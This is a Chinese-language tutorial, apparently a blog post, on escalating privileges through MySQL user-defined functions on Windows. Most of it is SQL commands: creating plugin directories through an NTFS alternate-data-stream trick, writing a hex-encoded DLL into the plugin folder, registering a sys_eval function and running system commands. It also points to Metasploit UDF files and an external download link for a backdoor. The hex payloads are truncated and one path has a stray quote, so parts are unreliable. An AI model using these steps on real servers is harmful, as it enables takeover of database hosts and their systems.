原理
UDF ,(即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,其实就像使用本地MySQL函数如 user() 或 concat() 等。原理就是自定义一个函数,让他可以任意的执行系统命令,达到提权目的。
前提条件
- mysql的权限是root权限。
- 配置文件中secure_file_priv=(未写路径)
- mysql版本小于5.7(自行测试过5.7版本以上创建目录会失败,不知是否有其他方法,欢迎指出。)
创建目录
先判断mysql版本
select version()
如果版本大于5.1的话MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建),而我们的udf文件要导入到该目录下。(可用NTFS ADS流模式突破进而创建文件夹)
先确定mysql安装目录:
select @@basedir; //查找到mysql的目录
确定好后开始创建目录(利用NTFS特性)
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录
开始上传UDF.dll文件
上传的文件udf文件可以用kail 的/usr/share/metasploit-framework/data/exploits/mysql/
目录下的,先判断目标机器的操作系统版本,show variables like '%compile%'
我这里是64位的那我就用64的udf文件。
创建一个表并将二进制数据插入到十六进制编码流中(这里麻烦一些,上传一个大马上去,可以省略其他操作:链接: https://pan.baidu.com/s/1bhqVuD5P_v0lqjy1e2HNOg 提取码: ivwb 复制这段内容后打开百度网盘手机App,操作更方便哦
)
create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
select data from temp into dumpfile "'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\udf.dll";
create function sys_eval returns string soname 'udf.dll'; #创建函数sys_eval
查看是否生效。
select * from mysql.func where name = 'sys_eval';
尝试执行系统命令
select sys_eval('whoami');